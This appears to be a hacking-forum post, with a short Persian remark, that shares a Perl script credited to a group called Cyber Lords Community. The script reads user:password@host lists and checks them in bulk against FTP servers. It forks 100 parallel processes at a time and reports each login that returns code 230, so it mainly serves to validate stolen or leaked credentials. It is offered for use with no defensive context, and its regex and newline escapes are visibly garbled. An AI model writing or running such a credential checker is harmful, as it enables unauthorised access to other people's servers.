Perl FTP accounts checker

[Love War]

اینم از دوستان رومانی هستش
[php]#!/usr/bin/perl

################################################## ####
# Coded by Satyr [Cyber Lords Community]
# http://www.cyberlords.net
################################################## ####

use Socket;
use IO::Handle;

$verbose=1;
$pids=100;
#5422
#0371
open(LIST,@ARGV[0]);
@list=<LIST>;
close(LIST);

$once=0;

while(1) {
#9128
#1683519
@check_now=@list[$once..$once+$pids];

for ($i=0;$i<=$pids;$i++) {

unless(@check_now[$i]) {
killpidz();
exit print "Scan is completen";
}

if ($pid=fork()) {
push(@forked,$pid);
} else {
###################MAIN CHECK###########################
$string=@check_now[$i];
chomp($string);
$string=~/([^:]+).+)@(.+)/;
$ans=check($1,$2,$3);

if($ans eq 230){
print "$1 $2 $3 230 - ok!n"
}
else{
$ans="Error connecting." if $ans eq 0;
print "$1 $2 $3 $ansn" if $verbose eq 1;
}

################################################## #######
exit;

}



}

$once+=$pids;
killpidz();
}

sub check{
my ($user,$pass,$host)=@_;
my $protocol=getprotobyname('tcp');
my $host=inet_aton($host) or return 0;
socket(SOCK,AF_INET,SOCK_STREAM,$protocol) or die "socket() failed: $!n";
my $dest_addr=sockaddr_in(21,$host);
connect(SOCK,$dest_addr) or return 0;
SOCK->autoflush(1);
sysread(SOCK,$data,1024);
print SOCK "user $usern";
sysread(SOCK,$data,100);
print SOCK "pass $passn";
sysread(SOCK,$data,100);
return $1 if $data=~/([0-9]{3})/;
}

sub killpidz {
foreach (@forked) {
chomp;
waitpid($_,0);
kill("TERM" => $_)
}
undef @forked;
}[/php]